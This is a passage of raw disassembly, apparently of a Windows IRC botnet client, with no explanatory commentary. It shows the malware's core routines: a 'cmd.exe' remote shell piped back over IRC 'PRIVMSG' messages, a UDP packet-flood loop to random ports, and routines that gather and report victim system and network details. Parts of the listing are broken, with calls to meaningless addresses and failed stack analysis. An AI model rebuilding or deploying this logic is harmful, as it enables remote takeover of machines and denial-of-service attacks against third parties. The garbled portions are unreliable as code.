eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B0F5: ; CODE XREF: sub_40AF86+14Dj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417076 pop ecx pop ecx push ebx nop call near ptr 25F0320h sub_40AF86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B112 proc near ; DATA XREF: sub_40EE72+2FA9o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi nop call near ptr 25F085Ah push eax call sub_417300 pop ecx push 11h push 2 push 2 call dword_43F6E8 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40B1F7 lea eax, [ebp+var_B0] push eax call dword_43F6EC cmp eax, edi jnz short loc_40B1F0 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB4C push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B1D3 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B1D3: ; CODE XREF: sub_40B112+9Fj lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417076 pop ecx pop ecx push esi nop call near ptr 25F0320h loc_40B1F0: ; CODE XREF: sub_40B112+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40B1FA ; --------------------------------------------------------------------------- loc_40B1F7: ; CODE XREF: sub_40B112+6Ej lea eax, [ebp+arg_0] loc_40B1FA: ; CODE XREF: sub_40B112+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40B215 call sub_41730A cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40B218 ; --------------------------------------------------------------------------- loc_40B215: ; CODE XREF: sub_40B112+F0j push [ebp+var_24] loc_40B218: ; CODE XREF: sub_40B112+101j call dword_43F668 cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40B22A mov [ebp+var_24], esi loc_40B22A: ; CODE XREF: sub_40B112+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40B237 mov [ebp+var_24], eax loc_40B237: ; CODE XREF: sub_40B112+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40B24B mov [ebp+var_28], esi loc_40B24B: ; CODE XREF: sub_40B112+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40B26C loc_40B252: ; CODE XREF: sub_40B112+158j call sub_41730A cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40B252 loc_40B26C: ; CODE XREF: sub_40B112+13Ej ; sub_40B112+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_40B2CB push 0Bh pop esi loc_40B279: ; CODE XREF: sub_40B112+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41730A push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_43F6CC push [ebp+var_28] call near ptr 26004EDh nop dec esi jnz short loc_40B279 cmp [ebp+var_24], edi jnz short loc_40B26C call sub_41730A cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_43F668 mov [ebp+var_E], ax jmp short loc_40B26C ; --------------------------------------------------------------------------- loc_40B2CB: ; CODE XREF: sub_40B112+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB10 push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B30B push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B30B: ; CODE XREF: sub_40B112+1D7j lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417076 pop ecx pop ecx push edi nop call near ptr 25F0320h sub_40B112 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B328 proc near ; CODE XREF: sub_40B358+2Ap ; sub_40B390+7Ep ... mov eax, dword_43F9B4 push esi mov esi, dword_424078 cmp eax, 0FFFFFFFFh jz short loc_40B33C push eax call esi loc_40B33C: ; CODE XREF: sub_40B328+Fj mov eax, dword_43F9BC cmp eax, 0FFFFFFFFh jz short loc_40B349 push eax call esi loc_40B349: ; CODE XREF: sub_40B328+1Cj mov eax, dword_43F9B0 cmp eax, 0FFFFFFFFh jz short loc_40B356 push eax call esi loc_40B356: ; CODE XREF: sub_40B328+29j pop esi retn sub_40B328 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B358 proc near ; CODE XREF: sub_40C351+14Ap ; sub_40EE72+4881p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_417AB0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_43F9B8 call near ptr 2630000h nop test eax, eax jnz short loc_40B38B call sub_40B328 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B38B: ; CODE XREF: sub_40B358+28j push 1 pop eax leave retn sub_40B358 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B390 proc near ; CODE XREF: sub_40B417+D3p ; sub_40B417+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43C80C push [ebp+arg_4] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40B3D3 push 7D0h nop call near ptr 26004EDh push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_4172AE add esp, 10h jmp short loc_40B3EA ; --------------------------------------------------------------------------- loc_40B3D3: ; CODE XREF: sub_40B390+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_4172AE add esp, 0Ch loc_40B3EA: ; CODE XREF: sub_40B390+41j lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43F6B8 test eax, eax jg short loc_40B413 call sub_40B328 loc_40B413: ; CODE XREF: sub_40B390+7Cj xor eax, eax leave retn sub_40B390 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B417 proc near ; DATA XREF: sub_40B56C+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_43F9C0 loc_40B42F: ; CODE XREF: sub_40B417+79j ; sub_40B417+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_43F9B4 nop call near ptr 277057Eh test eax, eax jz loc_40B4FD cmp [ebp+var_4], edi jnz short loc_40B492 lea eax, [ebp+var_8] push eax push dword_43F9B0 nop call near ptr 2770000h test eax, eax jz short loc_40B488 cmp [ebp+var_8], 103h jnz loc_40B521 loc_40B488: ; CODE XREF: sub_40B417+62j push 0Ah nop call near ptr 26004EDh jmp short loc_40B42F ; --------------------------------------------------------------------------- loc_40B492: ; CODE XREF: sub_40B417+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_40B4A9 loc_40B499: ; CODE XREF: sub_40B417+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_40B4F7 inc eax cmp eax, [ebp+var_4] jb short loc_40B499 loc_40B4A9: ; CODE XREF: sub_40B417+80j mov [ebp+var_4], esi loc_40B4AC: ; CODE XREF: sub_40B417+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_43F9B4 nop call near ptr 2621026h test eax, eax jz short loc_40B549 lea eax, [ebp+var_20C] push eax push ebx push dword_43F9F4 call sub_40B390 add esp, 0Ch jmp loc_40B42F ; --------------------------------------------------------------------------- loc_40B4F7: ; CODE XREF: sub_40B417+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40B4AC ; --------------------------------------------------------------------------- loc_40B4FD: ; CODE XREF: sub_40B417+45j push offset dword_42DC0C push ebx push dword_43F9F4 call sub_40B390 push [ebp+arg_0] call sub_417076 add esp, 10h push 1 nop call near ptr 25F0320h loc_40B521: ; CODE XREF: sub_40B417+6Bj call sub_40B328 push offset dword_42DBD4 push ebx push dword_43F9F4 call sub_40B390 push [ebp+arg_0] call sub_417076 add esp, 10h push edi nop call near ptr 25F0320h loc_40B549: ; CODE XREF: sub_40B417+C3j push offset dword_42DB94 push ebx push dword_43F9F4 call sub_40B390 push [ebp+arg_0] call sub_417076 add esp, 10h push edi call near ptr 25F0320h nop sub_40B417 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B56C proc near ; CODE XREF: sub_40C351+99p ; sub_40EE72+5772p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40B328 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_43F724 test eax, eax jz loc_40B666 push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_424140 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_40B666 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_40B666 mov edi, dword_42413C push 3 push esi push esi push offset dword_43F9B8 call edi push eax push [ebp+var_8] call edi push eax call near ptr 2770971h nop test eax, eax jz short loc_40B666 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_417330 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43C80C push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call near ptr 2750604h nop test eax, eax jnz short loc_40B66E loc_40B666: ; CODE XREF: sub_40B56C+2Fj ; sub_40B56C+5Cj ... or eax, 0FFFFFFFFh jmp loc_40B71C ; --------------------------------------------------------------------------- loc_40B66E: ; CODE XREF: sub_40B56C+F8j push [ebp+var_4] mov edi, dword_424078 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_43F9B4, eax mov eax, [ebp+var_8] mov dword_43F9BC, eax mov eax, [ebp+var_2C] mov dword_43F9B0, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_43F9F4, eax jz short loc_40B6A8 push [ebp+arg_4] jmp short loc_40B6A9 ; --------------------------------------------------------------------------- loc_40B6A8: ; CODE XREF: sub_40B56C+135j push ebx loc_40B6A9: ; CODE XREF: sub_40B56C+13Aj push offset dword_43F9C0 call sub_4172AE pop ecx pop ecx push esi push 7 push offset dword_42DC90 call sub_416D5A mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_4450C8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40B417 push esi push esi nop call near ptr 2670B28h cmp eax, esi mov dword_4450D4[edi], eax jnz short loc_40B71A call near ptr 264030Ch nop push eax lea eax, [ebp+var_378] push offset dword_42DC4C push eax call sub_4172AE lea eax, [ebp+var_378] push eax call sub_40BF6D add esp, 10h loc_40B71A: ; CODE XREF: sub_40B56C+185j xor eax, eax loc_40B71C: ; CODE XREF: sub_40B56C+FDj pop edi pop esi pop ebx leave retn sub_40B56C endp ; =============== S U B R O U T I N E ======================================= sub_40B721 proc near ; CODE XREF: sub_407110+74p ; sub_40B8D8+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call near ptr 25F085Ah nop xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_43F9FC push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41782A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_40B721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B78A proc near ; CODE XREF: sub_409037+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 2781533h test eax, eax jz short loc_40B81D cmp [ebp+var_90], 4 jnz short loc_40B7F3 cmp [ebp+var_8C], esi jnz short loc_40B7DB cmp [ebp+var_84], 1 jnz short loc_40B7CE push 1 pop esi loc_40B7CE: ; CODE XREF: sub_40B78A+3Fj cmp [ebp+var_84], 2 jnz short loc_40B81D push 1 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40B78A+36j cmp [ebp+var_8C], 0Ah jnz short loc_40B7E8 loc_40B7E4: ; CODE XREF: sub_40B78A+78j push 2 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7E8: ; CODE XREF: sub_40B78A+58j cmp [ebp+var_8C], 5Ah jnz short loc_40B81D jmp short loc_40B80D ; --------------------------------------------------------------------------- loc_40B7F3: ; CODE XREF: sub_40B78A+2Ej cmp [ebp+var_90], 5 jnz short loc_40B81D cmp [ebp+var_8C], esi jz short loc_40B7E4 cmp [ebp+var_8C], 1 jnz short loc_40B811 loc_40B80D: ; CODE XREF: sub_40B78A+67j push 3 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B811: ; CODE XREF: sub_40B78A+81j cmp [ebp+var_8C], 2 jnz short loc_40B81D push 7 loc_40B81C: ; CODE XREF: sub_40B78A+4Fj ; sub_40B78A+5Cj ... pop esi loc_40B81D: ; CODE XREF: sub_40B78A+25j ; sub_40B78A+4Bj ... mov eax, esi pop esi leave retn sub_40B78A endp ; =============== S U B R O U T I N E ======================================= sub_40B822 proc near ; CODE XREF: sub_40B8D8+290p push ebx push esi push edi mov esi, 0F4240h loc_40B82A: ; CODE XREF: sub_40B822+2Fj ; sub_40B822+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 26004EDh rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_419250 mov edi, edx mov ebx, eax test edi, edi ja short loc_40B82A jb short loc_40B859 cmp ebx, esi ja short loc_40B82A loc_40B859: ; CODE XREF: sub_40B822+31j push 0 push 64h push edi push ebx call sub_4191D0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_40B8CC jb short loc_40B878 cmp esi, 50h jnb short loc_40B87D loc_40B878: ; CODE XREF: sub_40B822+4Fj push 4Bh xor edx, edx pop eax loc_40B87D: ; CODE XREF: sub_40B822+54j test ecx, ecx ja short loc_40B8CC jb short loc_40B888 cmp esi, 47h jnb short loc_40B88D loc_40B888: ; CODE XREF: sub_40B822+5Fj push 42h xor edx, edx pop eax loc_40B88D: ; CODE XREF: sub_40B822+64j test ecx, ecx ja short loc_40B8CC jb short loc_40B898 cmp esi, 37h jnb short loc_40B89D loc_40B898: ; CODE XREF: sub_40B822+6Fj push 32h xor edx, edx pop eax loc_40B89D: ; CODE XREF: sub_40B822+74j test ecx, ecx ja short loc_40B8CC jb short loc_40B8A8 cmp esi, 26h jnb short loc_40B8AD loc_40B8A8: ; CODE XREF: sub_40B822+7Fj push 21h xor edx, edx pop eax loc_40B8AD: ; CODE XREF: sub_40B822+84j test ecx, ecx ja short loc_40B8CC jb short loc_40B8B8 cmp esi, 1Eh jnb short loc_40B8BD loc_40B8B8: ; CODE XREF: sub_40B822+8Fj push 19h xor edx, edx pop eax loc_40B8BD: ; CODE XREF: sub_40B822+94j test ecx, ecx ja short loc_40B8CC jb short loc_40B8C8 cmp esi, 0Ah jnb short loc_40B8CC loc_40B8C8: ; CODE XREF: sub_40B822+9Fj xor eax, eax xor edx, edx loc_40B8CC: ; CODE XREF: sub_40B822+4Dj ; sub_40B822+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40B822 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8D8 proc near ; CODE XREF: sub_40EE72+59ECp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43C80C mov [ebp+var_CC], 94h call near ptr 2781533h nop xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40B95F cmp [ebp+var_C4], ebx jnz short loc_40B93B cmp [ebp+var_BC], 1 jnz short loc_40B925 mov [ebp+var_4], offset a95 ; "95" loc_40B925: ; CODE XREF: sub_40B8D8+44j cmp [ebp+var_BC], 2 jnz loc_40B9DA mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40B9AB ; --------------------------------------------------------------------------- loc_40B93B: ; CODE XREF: sub_40B8D8+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40B94D mov [ebp+var_4], offset a98 ; "98" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B94D: ; CODE XREF: sub_40B8D8+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40B99B mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B95F: ; CODE XREF: sub_40B8D8+33j cmp [ebp+var_C8], 5 jnz short loc_40B99B cmp [ebp+var_C4], ebx jnz short loc_40B979 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B979: ; CODE XREF: sub_40B8D8+96j cmp [ebp+var_C4], 1 jnz short loc_40B98B mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B98B: ; CODE XREF: sub_40B8D8+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40B9A2 loc_40B99B: ; CODE XREF: sub_40B8D8+7Cj ; sub_40B8D8+8Ej mov [ebp+var_4], offset dword_42DDDC loc_40B9A2: ; CODE XREF: sub_40B8D8+73j ; sub_40B8D8+85j ... cmp [ebp+var_BC], 2 jnz short loc_40B9DA loc_40B9AB: ; CODE XREF: sub_40B8D8+61j cmp [ebp+var_B8], bl jz short loc_40B9DA lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42DDD4 push eax call sub_4172AE lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40B9DA: ; CODE XREF: sub_40B8D8+54j ; sub_40B8D8+D1j ... mov ax, word_42DDD0 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_43F554 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_40BA13 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_40BA13: ; CODE XREF: sub_40B8D8+12Cj push [ebp+arg_4] call sub_40AEE0 pop ecx push eax call dword_43F6A8 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43F620 cmp eax, ebx jz short loc_40BA3C push dword ptr [eax] jmp short loc_40BA41 ; --------------------------------------------------------------------------- loc_40BA3C: ; CODE XREF: sub_40B8D8+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40BA41: ; CODE XREF: sub_40B8D8+162j lea eax, [ebp+var_3E4] push eax call sub_4172AE pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2600552h lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi nop call near ptr 2670000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 2660000h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2790000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_4192B8 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40B721 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax call sub_40B822 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40B8D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB8C proc near ; CODE XREF: sub_40EE72+4555p ; sub_40EE72+5A1Dp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_417330 add esp, 0Ch cmp dword_43F750, 0 jnz short loc_40BBF8 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_43F538 test eax, eax jnz short loc_40BBE1 lea eax, [ebp+var_8C] push offset dword_42DE50 push eax call sub_4172AE pop ecx pop ecx loc_40BBE1: ; CODE XREF: sub_40BB8C+40j test [ebp+var_C], 1 jz short loc_40BBEE push offset dword_42DE48 jmp short loc_40BBF3 ; --------------------------------------------------------------------------- loc_40BBEE: ; CODE XREF: sub_40BB8C+59j push offset off_42DE44 loc_40BBF3: ; CODE XREF: sub_40BB8C+60j lea eax, [ebp+var_8] jmp short loc_40BC10 ; --------------------------------------------------------------------------- loc_40BBF8: ; CODE XREF: sub_40BB8C+28j mov esi, offset off_42DE40 lea eax, [ebp+var_8] push esi push eax call sub_4172AE pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_40BC10: ; CODE XREF: sub_40BB8C+6Aj push eax call sub_4172AE pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40BB8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC4B proc near ; DATA XREF: sub_40EE72+4974o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_42DF80 call sub_417330 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_417330 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_417330 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_417330 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_417330 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_417AB0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_43F570 test eax, eax jz loc_40BDE5 cmp [ebp+var_34], ebx jbe short loc_40BD22 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_418C10 add esp, 0Ch loc_40BD22: ; CODE XREF: sub_40BC4B+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40BD40 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_418C10 add esp, 0Ch loc_40BD40: ; CODE XREF: sub_40BC4B+DEj cmp [ebp+var_20], ebx jbe short loc_40BD5A push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_418C10 add esp, 0Ch loc_40BD5A: ; CODE XREF: sub_40BC4B+F8j cmp [ebp+var_18], ebx jbe short loc_40BD74 push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_418C10 add esp, 0Ch loc_40BD74: ; CODE XREF: sub_40BC4B+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_43F618 call dword_43F63C mov esi, eax cmp esi, ebx jz short loc_40BDFD push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_43F630 cmp eax, ebx mov [ebp+var_4], eax jz short loc_40BE04 push ebx push ebx push ebx push ebx push eax call dword_43F5E4 test eax, eax jz short loc_40BDDE push offset dword_42DF54 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDDE: ; CODE XREF: sub_40BC4B+18Aj push offset 